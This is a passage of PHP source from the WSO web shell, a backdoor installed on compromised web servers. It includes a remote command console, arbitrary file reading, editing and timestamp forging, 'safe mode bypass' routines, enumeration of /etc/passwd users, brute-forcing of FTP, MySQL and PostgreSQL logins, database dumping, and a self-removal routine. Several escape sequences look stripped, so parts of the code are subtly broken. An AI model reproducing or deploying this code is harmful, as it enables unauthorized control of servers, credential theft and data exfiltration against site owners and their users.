  1149.     echo "<option value='tar'>Compress (tar.gz)</option>";
  1150.     if(!empty($_SESSION['act']) && @count($_SESSION['f']))
  1151.         echo "<option value='paste'>Paste / Compress</option>";
  1152.     echo "</select>&nbsp;";
  1153.     if(!empty($_SESSION['act']) && @count($_SESSION['f']) && (($_SESSION['act'] == 'zip') || ($_SESSION['act'] == 'tar')))
  1154.         echo "file name: <input type=text name=p2 value='wso_" . date("Ymd_His") . "." . ($_SESSION['act'] == 'zip'?'zip':'tar.gz') . "'>&nbsp;";
  1155.     echo "<input type='submit' value='>>'></td></tr></form></table></div>";
  1156.     wsoFooter();
  1157. }
  1158.  
  1159. function actionStringTools() {
  1160.     if(!function_exists('hex2bin')) {function hex2bin($p) {return decbin(hexdec($p));}}
  1161.     if(!function_exists('binhex')) {function binhex($p) {return dechex(bindec($p));}}
  1162.     if(!function_exists('hex2ascii')) {function hex2ascii($p){$r='';for($i=0;$i<strLen($p);$i+=2){$r.=chr(hexdec($p[$i].$p[$i+1]));}return $r;}}
  1163.     if(!function_exists('ascii2hex')) {function ascii2hex($p){$r='';for($i=0;$i<strlen($p);++$i)$r.= sprintf('X',ord($p[$i]));return strtoupper($r);}}
  1164.     if(!function_exists('full_urlencode')) {function full_urlencode($p){$r='';for($i=0;$i<strlen($p);++$i)$r.= '%'.dechex(ord($p[$i]));return strtoupper($r);}}
  1165.     $stringTools = array(
  1166.         'Base64 encode' => 'base64_encode',
  1167.         'Base64 decode' => 'base64_decode',
  1168.         'Url encode' => 'urlencode',
  1169.         'Url decode' => 'urldecode',
  1170.         'Full urlencode' => 'full_urlencode',
  1171.         'md5 hash' => 'md5',
  1172.         'sha1 hash' => 'sha1',
  1173.         'crypt' => 'crypt',
  1174.         'CRC32' => 'crc32',
  1175.         'ASCII to HEX' => 'ascii2hex',
  1176.         'HEX to ASCII' => 'hex2ascii',
  1177.         'HEX to DEC' => 'hexdec',
  1178.         'HEX to BIN' => 'hex2bin',
  1179.         'DEC to HEX' => 'dechex',
  1180.         'DEC to BIN' => 'decbin',
  1181.         'BIN to HEX' => 'binhex',
  1182.         'BIN to DEC' => 'bindec',
  1183.         'String to lower case' => 'strtolower',
  1184.         'String to upper case' => 'strtoupper',
  1185.         'Htmlspecialchars' => 'htmlspecialchars',
  1186.         'String length' => 'strlen',
  1187.     );
  1188.     if(isset($_POST['ajax'])) {
  1189.         $_SESSION[md5($_SERVER['HTTP_HOST']).'ajax'] = true;
  1190.         ob_start();
  1191.         if(in_array($_POST['p1'], $stringTools))
  1192.             echo $_POST['p1']($_POST['p2']);
  1193.         $temp = "document.getElementById('strOutput').style.display='';document.getElementById('strOutput').innerHTML='".addcslashes(htmlspecialchars(ob_get_clean()),"nrt\' ")."';n";
  1194.         echo strlen($temp), "n", $temp;
  1195.         exit;
  1196.     }
  1197.     wsoHeader();
  1198.     echo '<h1>String conversions</h1><div class=content>';
  1199.     if(empty($_POST['ajax'])&&!empty($_POST['p1']))
  1200.         $_SESSION[md5($_SERVER['HTTP_HOST']).'ajax'] = false;
  1201.     echo "<form name='toolsForm' onSubmit='if(this.ajax.checked){a(null,null,this.selectTool.value,this.input.value);}else{g(null,null,this.selectTool.value,this.input.value);} return false;'><select name='selectTool'>";
  1202.     foreach($stringTools as $k => $v)
  1203.         echo "<option value='".htmlspecialchars($v)."'>".$k."</option>";
  1204.         echo "</select><input type='submit' value='>>'/> <input type=checkbox name=ajax value=1 ".(@$_SESSION[md5($_SERVER['HTTP_HOST']).'ajax']?'checked':'')."> send using AJAX<br><textarea name='input' style='margin-top:5px' class=bigarea>".(empty($_POST['p1'])?'':htmlspecialchars(@$_POST['p2']))."</textarea></form><pre class='ml1' style='".(empty($_POST['p1'])?'display:none;':'')."margin-top:5px' id='strOutput'>";
  1205.     if(!empty($_POST['p1'])) {
  1206.         if(in_array($_POST['p1'], $stringTools))echo htmlspecialchars($_POST['p1']($_POST['p2']));
  1207.     }
  1208.     echo"</pre></div><br><h1>Search text in files:</h1><div class=content>
  1209.  
  1210.         <form onsubmit="g(null,this.cwd.value,null,this.text.value,this.filename.value);return false;"><table cellpadding='1' cellspacing='0' width='50%'>
  1211.             <tr><td width='1%'>Text:</td><td><input type='text' name='text' style='width:100%'></td></tr>
  1212.             <tr><td>Path:</td><td><input type='text' name='cwd' value='". htmlspecialchars($GLOBALS['cwd']) ."' style='width:100%'></td></tr>
  1213.             <tr><td>Name:</td><td><input type='text' name='filename' value='*' style='width:100%'></td></tr>
  1214.             <tr><td></td><td><input type='submit' value='>>'></td></tr>
  1215.             </table></form>";
  1216.  
  1217.     function wsoRecursiveGlob($path) {
  1218.         if(substr($path, -1) != '/')
  1219.             $path.='/';
  1220.         $paths = @array_unique(@array_merge(@glob($path.$_POST['p3']), @glob($path.'*', GLOB_ONLYDIR)));
  1221.         if(is_array($paths)&&@count($paths)) {
  1222.             foreach($paths as $item) {
  1223.                 if(@is_dir($item)){
  1224.                     if($path!=$item)
  1225.                         wsoRecursiveGlob($item);
  1226.                 } else {
  1227.                     if(@strpos(@file_get_contents($item), @$_POST['p2'])!==false)
  1228.                         echo "<a href='#' onclick='g("FilesTools",null,"".urlencode($item)."", "view")'>".htmlspecialchars($item)."</a><br>";
  1229.                 }
  1230.             }
  1231.         }
  1232.     }
  1233.     if(@$_POST['p3'])
  1234.         wsoRecursiveGlob($_POST['c']);
  1235.     echo "</div><br><h1>Search for hash:</h1><div class=content>
  1236.  
  1237.         <form method='post' target='_blank' name='hf'>
  1238.             <input type='text' name='hash' style='width:200px;'><br>
  1239.             <input type='button' value='hashcrack.com' onclick="document.hf.action='http://www.hashcrack.com/index.php';document.hf.submit()"><br>
  1240.             <input type='button' value='milw0rm.com' onclick="document.hf.action='http://www.milw0rm.com/cracker/search.php';document.hf.submit()"><br>
  1241.             <input type='button' value='hashcracking.info' onclick="document.hf.action='https://hashcracking.info/index.php';document.hf.submit()"><br>
  1242.             <input type='button' value='md5.rednoize.com' onclick="document.hf.action='http://md5.rednoize.com/?q='+document.hf.hash.value+'&s=md5';document.hf.submit()"><br>
  1243.             <input type='button' value='md5decrypter.com' onclick="document.hf.action='http://www.md5decrypter.com/';document.hf.submit()"><br>
  1244.         </form></div>";
  1245.     wsoFooter();
  1246. }
  1247.  
  1248. function actionFilesTools() {
  1249.     if( isset($_POST['p1']) )
  1250.         $_POST['p1'] = urldecode($_POST['p1']);
  1251.     if(@$_POST['p2']=='download') {
  1252.         if(@is_file($_POST['p1']) && @is_readable($_POST['p1'])) {
  1253.             ob_start("ob_gzhandler", 4096);
  1254.             header("Content-Disposition: attachment; filename=".basename($_POST['p1']));
  1255.             if (function_exists("mime_content_type")) {
  1256.                 $type = @mime_content_type($_POST['p1']);
  1257.                 header("Content-Type: " . $type);
  1258.             } else
  1259.                 header("Content-Type: application/octet-stream");
  1260.             $fp = @fopen($_POST['p1'], "r");
  1261.             if($fp) {
  1262.                 while(!@feof($fp))
  1263.                     echo @fread($fp, 1024);
  1264.                 fclose($fp);
  1265.             }
  1266.         }exit;
  1267.     }
  1268.     if( @$_POST['p2'] == 'mkfile' ) {
  1269.         if(!file_exists($_POST['p1'])) {
  1270.             $fp = @fopen($_POST['p1'], 'w');
  1271.             if($fp) {
  1272.                 $_POST['p2'] = "edit";
  1273.                 fclose($fp);
  1274.             }
  1275.         }
  1276.     }
  1277.     wsoHeader();
  1278.     echo '<h1>File tools</h1><div class=content>';
  1279.     if( !file_exists(@$_POST['p1']) ) {
  1280.         echo 'File not exists';
  1281.         wsoFooter();
  1282.         return;
  1283.     }
  1284.     $uid = @posix_getpwuid(@fileowner($_POST['p1']));
  1285.     if(!$uid) {
  1286.         $uid['name'] = @fileowner($_POST['p1']);
  1287.         $gid['name'] = @filegroup($_POST['p1']);
  1288.     } else $gid = @posix_getgrgid(@filegroup($_POST['p1']));
  1289.     echo '<span>Name:</span> '.htmlspecialchars(@basename($_POST['p1'])).' <span>Size:</span> '.(is_file($_POST['p1'])?wsoViewSize(filesize($_POST['p1'])):'-').' <span>Permission:</span> '.wsoPermsColor($_POST['p1']).' <span>Owner/Group:</span> '.$uid['name'].'/'.$gid['name'].'<br>';
  1290.     echo '<span>Create time:</span> '.date('Y-m-d H:i:s',filectime($_POST['p1'])).' <span>Access time:</span> '.date('Y-m-d H:i:s',fileatime($_POST['p1'])).' <span>Modify time:</span> '.date('Y-m-d H:i:s',filemtime($_POST['p1'])).'<br><br>';
  1291.     if( empty($_POST['p2']) )
  1292.         $_POST['p2'] = 'view';
  1293.     if( is_file($_POST['p1']) )
  1294.         $m = array('View', 'Highlight', 'Download', 'Hexdump', 'Edit', 'Chmod', 'Rename', 'Touch');
  1295.     else
  1296.         $m = array('Chmod', 'Rename', 'Touch');
  1297.     foreach($m as $v)
  1298.         echo '<a href=# onclick="g(null,null,null,''.strtolower($v).'')">'.((strtolower($v)==@$_POST['p2'])?'<b>[ '.$v.' ]</b>':$v).'</a> ';
  1299.     echo '<br><br>';
  1300.     switch($_POST['p2']) {
  1301.         case 'view':
  1302.             echo '<pre class=ml1>';
  1303.             $fp = @fopen($_POST['p1'], 'r');
  1304.             if($fp) {
  1305.                 while( !@feof($fp) )
  1306.                     echo htmlspecialchars(@fread($fp, 1024));
  1307.                 @fclose($fp);
  1308.             }
  1309.             echo '</pre>';
  1310.             break;
  1311.         case 'highlight':
  1312.             if( @is_readable($_POST['p1']) ) {
  1313.                 echo '<div class=ml1 style="background-color: #e1e1e1;color:black;">';
  1314.                 $code = @highlight_file($_POST['p1'],true);
  1315.                 echo str_replace(array('<span ','</span>'), array('<font ','</font>'),$code).'</div>';
  1316.             }
  1317.             break;
  1318.         case 'chmod':
  1319.             if( !empty($_POST['p3']) ) {
  1320.                 $perms = 0;
  1321.                 for($i=strlen($_POST['p3'])-1;$i>=0;--$i)
  1322.                     $perms += (int)$_POST['p3'][$i]*pow(8, (strlen($_POST['p3'])-$i-1));
  1323.                 if(!@chmod($_POST['p1'], $perms))
  1324.                     echo 'Can't set permissions!<br><script>document.mf.p3.value="";</script>';
  1325.             }
  1326.             clearstatcache();
  1327.             echo '<script>p3_="";</script><form onsubmit="g(null,null,null,null,this.chmod.value);return false;"><input type=text name=chmod value="'.substr(sprintf('%o', fileperms($_POST['p1'])),-4).'"><input type=submit value=">>"></form>';
  1328.             break;
  1329.         case 'edit':
  1330.             if( !is_writable($_POST['p1'])) {
  1331.                 echo 'File isn't writeable';
  1332.                 break;
  1333.             }
  1334.             if( !empty($_POST['p3']) ) {
  1335.                 $time = @filemtime($_POST['p1']);
  1336.                 $_POST['p3'] = substr($_POST['p3'],1);
  1337.                 $fp = @fopen($_POST['p1'],"w");
  1338.                 if($fp) {
  1339.                     @fwrite($fp,$_POST['p3']);
  1340.                     @fclose($fp);
  1341.                     echo 'Saved!<br><script>p3_="";</script>';
  1342.                     @touch($_POST['p1'],$time,$time);
  1343.                 }
  1344.             }
  1345.             echo '<form onsubmit="g(null,null,null,null,'1'+this.text.value);return false;"><textarea name=text class=bigarea>';
  1346.             $fp = @fopen($_POST['p1'], 'r');
  1347.             if($fp) {
  1348.                 while( !@feof($fp) )
  1349.                     echo htmlspecialchars(@fread($fp, 1024));
  1350.                 @fclose($fp);
  1351.             }
  1352.             echo '</textarea><input type=submit value=">>"></form>';
  1353.             break;
  1354.         case 'hexdump':
  1355.             $c = @file_get_contents($_POST['p1']);
  1356.             $n = 0;
  1357.             $h = array('00000000<br>','','');
  1358.             $len = strlen($c);
  1359.             for ($i=0; $i<$len; ++$i) {
  1360.                 $h[1] .= sprintf('X',ord($c[$i])).' ';
  1361.                 switch ( ord($c[$i]) ) {
  1362.                     case 0:  $h[2] .= ' '; break;
  1363.                     case 9:  $h[2] .= ' '; break;
  1364.                     case 10: $h[2] .= ' '; break;
  1365.                     case 13: $h[2] .= ' '; break;
  1366.                     default: $h[2] .= $c[$i]; break;
  1367.                 }
  1368.                 $n++;
  1369.                 if ($n == 32) {
  1370.                     $n = 0;
  1371.                     if ($i+1 < $len) {$h[0] .= sprintf('X',$i+1).'<br>';}
  1372.                     $h[1] .= '<br>';
  1373.                     $h[2] .= "n";
  1374.                 }
  1375.              }
  1376.             echo '<table cellspacing=1 cellpadding=5 bgcolor=#222222><tr><td bgcolor=#333333><span style="font-weight: normal;"><pre>'.$h[0].'</pre></span></td><td bgcolor=#282828><pre>'.$h[1].'</pre></td><td bgcolor=#333333><pre>'.htmlspecialchars($h[2]).'</pre></td></tr></table>';
  1377.             break;
  1378.         case 'rename':
  1379.             if( !empty($_POST['p3']) ) {
  1380.                 if(!@rename($_POST['p1'], $_POST['p3']))
  1381.                     echo 'Can't rename!<br>';
  1382.                 else
  1383.                     die('<script>g(null,null,"'.urlencode($_POST['p3']).'",null,"")</script>');
  1384.             }
  1385.             echo '<form onsubmit="g(null,null,null,null,this.name.value);return false;"><input type=text name=name value="'.htmlspecialchars($_POST['p1']).'"><input type=submit value=">>"></form>';
  1386.             break;
  1387.         case 'touch':
  1388.             if( !empty($_POST['p3']) ) {
  1389.                 $time = strtotime($_POST['p3']);
  1390.                 if($time) {
  1391.                     if(!touch($_POST['p1'],$time,$time))
  1392.                         echo 'Fail!';
  1393.                     else
  1394.                         echo 'Touched!';
  1395.                 } else echo 'Bad time format!';
  1396.             }
  1397.             clearstatcache();
  1398.             echo '<script>p3_="";</script><form onsubmit="g(null,null,null,null,this.touch.value);return false;"><input type=text name=touch value="'.date("Y-m-d H:i:s", @filemtime($_POST['p1'])).'"><input type=submit value=">>"></form>';
  1399.             break;
  1400.     }
  1401.     echo '</div>';
  1402.     wsoFooter();
  1403. }
  1404.  
  1405. function actionSafeMode() {
  1406.     $temp='';
  1407.     ob_start();
  1408.     switch($_POST['p1']) {
  1409.         case 1:
  1410.             $temp=@tempnam($test, 'cx');
  1411.             if(@copy("compress.zlib://".$_POST['p2'], $temp)){
  1412.                 echo @file_get_contents($temp);
  1413.                 unlink($temp);
  1414.             } else
  1415.                 echo 'Sorry... Can't open file';
  1416.             break;
  1417.         case 2:
  1418.             $files = glob($_POST['p2'].'*');
  1419.             if( is_array($files) )
  1420.                 foreach ($files as $filename)
  1421.                     echo $filename."n";
  1422.             break;
  1423.         case 3:
  1424.             $ch = curl_init("file://".$_POST['p2']."x00".preg_replace('!(d+)s.*!', '', __FILE__));
  1425.             curl_exec($ch);
  1426.             break;
  1427.         case 4:
  1428.             ini_restore("safe_mode");
  1429.             ini_restore("open_basedir");
  1430.             include($_POST['p2']);
  1431.             break;
  1432.         case 5:
  1433.             for(;$_POST['p2'] <= $_POST['p3'];$_POST['p2']++) {
  1434.                 $uid = @posix_getpwuid($_POST['p2']);
  1435.                 if ($uid)
  1436.                     echo join(':',$uid)."n";
  1437.             }
  1438.             break;
  1439.     }
  1440.     $temp = ob_get_clean();
  1441.     wsoHeader();
  1442.     echo '<h1>Safe mode bypass</h1><div class=content>';
  1443.     echo '<span>Copy (read file)</span><form onsubmit='g(null,null,"1",this.param.value);return false;'><input type=text name=param><input type=submit value=">>"></form><br><span>Glob (list dir)</span><form onsubmit='g(null,null,"2",this.param.value);return false;'><input type=text name=param><input type=submit value=">>"></form><br><span>Curl (read file)</span><form onsubmit='g(null,null,"3",this.param.value);return false;'><input type=text name=param><input type=submit value=">>"></form><br><span>Ini_restore (read file)</span><form onsubmit='g(null,null,"4",this.param.value);return false;'><input type=text name=param><input type=submit value=">>"></form><br><span>Posix_getpwuid ("Read" /etc/passwd)</span><table><form onsubmit='g(null,null,"5",this.param1.value,this.param2.value);return false;'><tr><td>From</td><td><input type=text name=param1 value=0></td></tr><tr><td>To</td><td><input type=text name=param2 value=1000></td></tr></table><input type=submit value=">>"></form>';
  1444.     if($temp)
  1445.         echo '<pre class="ml1" style="margin-top:5px" id="Output">'.htmlspecialchars($temp).'</pre>';
  1446.     echo '</div>';
  1447.     wsoFooter();
  1448. }
  1449.  
  1450. function actionConsole() {
  1451.     if(!empty($_POST['p1']) && !empty($_POST['p2'])) {
  1452.         $_SESSION[md5($_SERVER['HTTP_HOST']).'stderr_to_out'] = true;
  1453.         $_POST['p1'] .= ' 2>&1';
  1454.     } elseif(!empty($_POST['p1']))
  1455.         $_SESSION[md5($_SERVER['HTTP_HOST']).'stderr_to_out'] = false;
  1456.  
  1457.     if(isset($_POST['ajax'])) {
  1458.         $_SESSION[md5($_SERVER['HTTP_HOST']).'ajax'] = true;
  1459.         ob_start();
  1460.         echo "d.cf.cmd.value='';n";
  1461.         $temp = @iconv($_POST['charset'], 'UTF-8', addcslashes("n$ ".$_POST['p1']."n".wsoEx($_POST['p1']),"nrt\' "));
  1462.         if(preg_match("!.*cds+([^;]+)$!",$_POST['p1'],$match))    {
  1463.             if(@chdir($match[1])) {
  1464.                 $GLOBALS['cwd'] = @getcwd();
  1465.                 echo "c_='".$GLOBALS['cwd']."';";
  1466.             }
  1467.         }
  1468.         echo "d.cf.output.value+='".$temp."';";
  1469.         echo "d.cf.output.scrollTop = d.cf.output.scrollHeight;";
  1470.         $temp = ob_get_clean();
  1471.         echo strlen($temp), "n", $temp;
  1472.         exit;
  1473.     }
  1474.     wsoHeader();
  1475.     echo "<script>
  1476. if(window.Event) window.captureEvents(Event.KEYDOWN);
  1477. var cmds = new Array('');
  1478. var cur = 0;
  1479. function kp(e) {
  1480.     var n = (window.Event) ? e.which : e.keyCode;
  1481.     if(n == 38) {
  1482.         cur--;
  1483.         if(cur>=0)
  1484.             document.cf.cmd.value = cmds[cur];
  1485.         else
  1486.             cur++;
  1487.     } else if(n == 40) {
  1488.         cur++;
  1489.         if(cur < cmds.length)
  1490.             document.cf.cmd.value = cmds[cur];
  1491.         else
  1492.             cur--;
  1493.     }
  1494. }
  1495. function add(cmd) {
  1496.     cmds.pop();
  1497.     cmds.push(cmd);
  1498.     cmds.push('');
  1499.     cur = cmds.length-1;
  1500. }
  1501.  
  1502. </script>";
  1503.     echo '<h1>Console</h1><div class=content><form name=cf onsubmit="if(d.cf.cmd.value=='clear'){d.cf.output.value='';d.cf.cmd.value='';return false;}add(this.cmd.value);if(this.ajax.checked){a(null,null,this.cmd.value,this.show_errors.checked?1:'');}else{g(null,null,this.cmd.value,this.show_errors.checked?1:'');} return false;"><select name=alias>';
  1504.     foreach($GLOBALS['aliases'] as $n => $v) {
  1505.         if($v == '') {
  1506.             echo '<optgroup label="-'.htmlspecialchars($n).'-"></optgroup>';
  1507.             continue;
  1508.         }
  1509.         echo '<option value="'.htmlspecialchars($v).'">'.$n.'</option>';
  1510.     }
  1511.     if(empty($_POST['ajax'])&&!empty($_POST['p1']))
  1512.         $_SESSION[md5($_SERVER['HTTP_HOST']).'ajax'] = false;
  1513.     echo '</select><input type=button onclick="add(d.cf.alias.value);if(d.cf.ajax.checked){a(null,null,d.cf.alias.value,d.cf.show_errors.checked?1:'');}else{g(null,null,d.cf.alias.value,d.cf.show_errors.checked?1:'');}" value=">>"> <nobr><input type=checkbox name=ajax value=1 '.(@$_SESSION[md5($_SERVER['HTTP_HOST']).'ajax']?'checked':'').'> send using AJAX <input type=checkbox name=show_errors value=1 '.(!empty($_POST['p2'])||$_SESSION[md5($_SERVER['HTTP_HOST']).'stderr_to_out']?'checked':'').'> redirect stderr to stdout (2>&1)</nobr><br/><textarea class=bigarea name=output style="border-bottom:0;margin:0;" readonly>';
  1514.     if(!empty($_POST['p1'])) {
  1515.         echo htmlspecialchars("$ ".$_POST['p1']."n".wsoEx($_POST['p1']));
  1516.     }
  1517.     echo '</textarea><table style="border:1px solid #df5;background-color:#555;border-top:0px;" cellpadding=0 cellspacing=0 width="100%"><tr><td width="1%">$</td><td><input type=text name=cmd style="border:0px;width:100%;" onkeydown="kp(event);"></td></tr></table>';
  1518.     echo '</form></div><script>d.cf.cmd.focus();</script>';
  1519.     wsoFooter();
  1520. }
  1521.  
  1522. function actionLogout() {
  1523.     session_destroy();
  1524.     die('bye!');
  1525. }
  1526.  
  1527. function actionSelfRemove() {
  1528.  
  1529.     if($_POST['p1'] == 'yes')
  1530.         if(@unlink(preg_replace('!(d+)s.*!', '', __FILE__)))
  1531.             die('Shell has been removed');
  1532.         else
  1533.             echo 'unlink error!';
  1534.     if($_POST['p1'] != 'yes')
  1535.         wsoHeader();
  1536.     echo '<h1>Suicide</h1><div class=content>Really want to remove the shell?<br><a href=# onclick="g(null,null,'yes')">Yes</a></div>';
  1537.     wsoFooter();
  1538. }
  1539.  
  1540. function actionBruteforce() {
  1541.     wsoHeader();
  1542.     if( isset($_POST['proto']) ) {
  1543.         echo '<h1>Results</h1><div class=content><span>Type:</span> '.htmlspecialchars($_POST['proto']).' <span>Server:</span> '.htmlspecialchars($_POST['server']).'<br>';
  1544.         if( $_POST['proto'] == 'ftp' ) {
  1545.             function bruteForce($ip,$port,$login,$pass) {
  1546.                 $fp = @ftp_connect($ip, $port?$port:21);
  1547.                 if(!$fp) return false;
  1548.                 $res = @ftp_login($fp, $login, $pass);
  1549.                 @ftp_close($fp);
  1550.                 return $res;
  1551.             }
  1552.         } elseif( $_POST['proto'] == 'mysql' ) {
  1553.             function bruteForce($ip,$port,$login,$pass) {
  1554.                 $res = @mysql_connect($ip.':'.$port?$port:3306, $login, $pass);
  1555.                 @mysql_close($res);
  1556.                 return $res;
  1557.             }
  1558.         } elseif( $_POST['proto'] == 'pgsql' ) {
  1559.             function bruteForce($ip,$port,$login,$pass) {
  1560.                 $str = "host='".$ip."' port='".$port."' user='".$login."' password='".$pass."' dbname=postgres";
  1561.                 $res = @pg_connect($str);
  1562.                 @pg_close($res);
  1563.                 return $res;
  1564.             }
  1565.         }
  1566.         $success = 0;
  1567.         $attempts = 0;
  1568.         $server = explode(":", $_POST['server']);
  1569.         if($_POST['type'] == 1) {
  1570.             $temp = @file('/etc/passwd');
  1571.             if( is_array($temp) )
  1572.                 foreach($temp as $line) {
  1573.                     $line = explode(":", $line);
  1574.                     ++$attempts;
  1575.                     if( bruteForce(@$server[0],@$server[1], $line[0], $line[0]) ) {
  1576.                         $success++;
  1577.                         echo '<b>'.htmlspecialchars($line[0]).'</b>:'.htmlspecialchars($line[0]).'<br>';
  1578.                     }
  1579.                     if(@$_POST['reverse']) {
  1580.                         $tmp = "";
  1581.                         for($i=strlen($line[0])-1; $i>=0; --$i)
  1582.                             $tmp .= $line[0][$i];
  1583.                         ++$attempts;
  1584.                         if( bruteForce(@$server[0],@$server[1], $line[0], $tmp) ) {
  1585.                             $success++;
  1586.                             echo '<b>'.htmlspecialchars($line[0]).'</b>:'.htmlspecialchars($tmp);
  1587.                         }
  1588.                     }
  1589.                 }
  1590.         } elseif($_POST['type'] == 2) {
  1591.             $temp = @file($_POST['dict']);
  1592.             if( is_array($temp) )
  1593.                 foreach($temp as $line) {
  1594.                     $line = trim($line);
  1595.                     ++$attempts;
  1596.                     if( bruteForce($server[0],@$server[1], $_POST['login'], $line) ) {
  1597.                         $success++;
  1598.                         echo '<b>'.htmlspecialchars($_POST['login']).'</b>:'.htmlspecialchars($line).'<br>';
  1599.                     }
  1600.                 }
  1601.         }
  1602.         echo "<span>Attempts:</span> $attempts <span>Success:</span> $success</div><br>";
  1603.     }
  1604.     echo '<h1>FTP bruteforce</h1><div class=content><table><form method=post><tr><td><span>Type</span></td>'
  1605.         .'<td><select name=proto><option value=ftp>FTP</option><option value=mysql>MySql</option><option value=pgsql>PostgreSql</option></select></td></tr><tr><td>'
  1606.         .'<input type=hidden name=c value="'.htmlspecialchars($GLOBALS['cwd']).'">'
  1607.         .'<input type=hidden name=a value="'.htmlspecialchars($_POST['a']).'">'
  1608.         .'<input type=hidden name=charset value="'.htmlspecialchars($_POST['charset']).'">'
  1609.         .'<span>Server:port</span></td>'
  1610.         .'<td><input type=text name=server value="127.0.0.1"></td></tr>'
  1611.         .'<tr><td><span>Brute type</span></td>'
  1612.         .'<td><label><input type=radio name=type value="1" checked> /etc/passwd</label></td></tr>'
  1613.         .'<tr><td></td><td><label style="padding-left:15px"><input type=checkbox name=reverse value=1 checked> reverse (login -> nigol)</label></td></tr>'
  1614.         .'<tr><td></td><td><label><input type=radio name=type value="2"> Dictionary</label></td></tr>'
  1615.         .'<tr><td></td><td><table style="padding-left:15px"><tr><td><span>Login</span></td>'
  1616.         .'<td><input type=text name=login value="root"></td></tr>'
  1617.         .'<tr><td><span>Dictionary</span></td>'
  1618.         .'<td><input type=text name=dict value="'.htmlspecialchars($GLOBALS['cwd']).'passwd.dic"></td></tr></table>'
  1619.         .'</td></tr><tr><td></td><td><input type=submit value=">>"></td></tr></form></table>';
  1620.     echo '</div><br>';
  1621.     wsoFooter();
  1622. }
  1623.  
  1624. function actionSql() {
  1625.     class DbClass {
  1626.         var $type;
  1627.         var $link;
  1628.         var $res;
  1629.         function DbClass($type)    {
  1630.             $this->type = $type;
  1631.         }
  1632.         function connect($host, $user, $pass, $dbname){
  1633.             switch($this->type)    {
  1634.                 case 'mysql':
  1635.                     if( $this->link = @mysql_connect($host,$user,$pass,true) ) return true;
  1636.                     break;
  1637.                 case 'pgsql':
  1638.                     $host = explode(':', $host);
  1639.                     if(!$host[1]) $host[1]=5432;
  1640.                     if( $this->link = @pg_connect("host={$host[0]} port={$host[1]} user=$user password=$pass dbname=$dbname") ) return true;
  1641.                     break;
  1642.             }
  1643.             return false;
  1644.         }
  1645.         function selectdb($db) {
  1646.             switch($this->type)    {
  1647.                 case 'mysql':
  1648.                     if (@mysql_select_db($db))return true;
  1649.                     break;
  1650.             }
  1651.             return false;
  1652.         }
  1653.         function query($str) {
  1654.             switch($this->type) {
  1655.                 case 'mysql':
  1656.                     return $this->res = @mysql_query($str);
  1657.                     break;
  1658.                 case 'pgsql':
  1659.                     return $this->res = @pg_query($this->link,$str);
  1660.                     break;
  1661.             }
  1662.             return false;
  1663.         }
  1664.         function fetch() {
  1665.             $res = func_num_args()?func_get_arg(0):$this->res;
  1666.             switch($this->type)    {
  1667.                 case 'mysql':
  1668.                     return @mysql_fetch_assoc($res);
  1669.                     break;
  1670.                 case 'pgsql':
  1671.                     return @pg_fetch_assoc($res);
  1672.                     break;
  1673.             }
  1674.             return false;
  1675.         }
  1676.         function listDbs() {
  1677.             switch($this->type)    {
  1678.                 case 'mysql':
  1679.                         return $this->query("SHOW databases");
  1680.                 break;
  1681.                 case 'pgsql':
  1682.                     return $this->res = $this->query("SELECT datname FROM pg_database WHERE datistemplate!='t'");
  1683.                 break;
  1684.             }
  1685.             return false;
  1686.         }
  1687.         function listTables() {
  1688.             switch($this->type)    {
  1689.                 case 'mysql':
  1690.                     return $this->res = $this->query('SHOW TABLES');
  1691.                 break;
  1692.                 case 'pgsql':
  1693.                     return $this->res = $this->query("select table_name from information_schema.tables where table_schema != 'information_schema' AND table_schema != 'pg_catalog'");
  1694.                 break;
  1695.             }
  1696.             return false;
  1697.         }
  1698.         function error() {
  1699.             switch($this->type)    {
  1700.                 case 'mysql':
  1701.                     return @mysql_error();
  1702.                 break;
  1703.                 case 'pgsql':
  1704.                     return @pg_last_error();
  1705.                 break;
  1706.             }
  1707.             return false;
  1708.         }
  1709.         function setCharset($str) {
  1710.             switch($this->type)    {
  1711.                 case 'mysql':
  1712.                     if(function_exists('mysql_set_charset'))
  1713.                         return @mysql_set_charset($str, $this->link);
  1714.                     else
  1715.                         $this->query('SET CHARSET '.$str);
  1716.                     break;
  1717.                 case 'pgsql':
  1718.                     return @pg_set_client_encoding($this->link, $str);
  1719.                     break;
  1720.             }
  1721.             return false;
  1722.         }
  1723.         function loadFile($str) {
  1724.             switch($this->type)    {
  1725.                 case 'mysql':
  1726.                     return $this->fetch($this->query("SELECT LOAD_FILE('".addslashes($str)."') as file"));
  1727.                 break;
  1728.                 case 'pgsql':
  1729.                     $this->query("CREATE TABLE wso2(file text);COPY wso2 FROM '".addslashes($str)."';select file from wso2;");
  1730.                     $r=array();
  1731.                     while($i=$this->fetch())
  1732.                         $r[] = $i['file'];
  1733.                     $this->query('drop table wso2');
  1734.                     return array('file'=>implode("n",$r));
  1735.                 break;
  1736.             }
  1737.             return false;
  1738.         }
  1739.         function dump($table, $fp = false) {
  1740.             switch($this->type)    {
  1741.                 case 'mysql':
  1742.                     $res = $this->query('SHOW CREATE TABLE `'.$table.'`');
  1743.                     $create = mysql_fetch_array($res);
  1744.                     $sql = $create[1].";n";
  1745.                     if($fp) fwrite($fp, $sql); else echo($sql);
  1746.                     $this->query('SELECT * FROM `'.$table.'`');
  1747.                     $head = true;
  1748.                     while($item = $this->fetch()) {
  1749.                         $columns = array();
  1750.                         foreach($item as $k=>$v) {
  1751.                             if($v == null)
  1752.                                 $item[$k] = "NULL";
  1753.                             elseif(is_numeric($v))
  1754.                                 $item[$k] = $v;
  1755.                             else
  1756.                                 $item[$k] = "'".@mysql_real_escape_string($v)."'";
  1757.                             $columns[] = "`".$k."`";
  1758.                         }
  1759.                         if($head) {
  1760.                             $sql = 'INSERT INTO `'.$table.'` ('.implode(", ", $columns).") VALUES nt(".implode(", ", $item).')';
  1761.                             $head = false;
  1762.                         } else
  1763.                             $sql = "nt,(".implode(", ", $item).')';
  1764.                         if($fp) fwrite($fp, $sql); else echo($sql);
  1765.                     }
  1766.                     if(!$head)
  1767.                         if($fp) fwrite($fp, ";nn"); else echo(";nn");
  1768.                 break;
  1769.                 case 'pgsql':
  1770.                     $this->query('SELECT * FROM '.$table);
  1771.                     while($item = $this->fetch()) {
  1772.                         $columns = array();
  1773.                         foreach($item as $k=>$v) {
  1774.                             $item[$k] = "'".addslashes($v)."'";
  1775.                             $columns[] = $k;
  1776.                         }
  1777.                         $sql = 'INSERT INTO '.$table.' ('.implode(", ", $columns).') VALUES ('.implode(", ", $item).');'."n";
  1778.                         if($fp) fwrite($fp, $sql); else echo($sql);
  1779.                     }
  1780.                 break;
  1781.             }
